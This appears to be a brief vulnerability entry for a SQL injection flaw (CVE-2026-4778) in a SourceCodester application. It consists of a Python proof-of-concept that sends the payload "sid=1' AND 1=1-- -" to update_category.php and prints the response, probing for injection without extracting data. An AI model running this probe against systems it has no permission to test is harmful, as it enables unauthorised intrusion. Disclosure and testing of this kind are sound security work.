CVE-2026-4778 SourceCodester SQL注入漏洞

import requests # Target URL (replace with actual target) target_url = "http://target-ip/path/update_category.php" # Malicious payload to test SQL Injection # This payload attempts to check if the database is vulnerable test_payload = "?sid=1' AND 1=1-- -" try: # Send the malicious GET request response = requests.get(target_url + test_payload) # Check if the request was successful if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content (first 200 chars):") print(response.text[:200]) # Further analysis of the response is needed to confirm vulnerability # e.g., checking for SQL errors or different content compared to a false payload else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")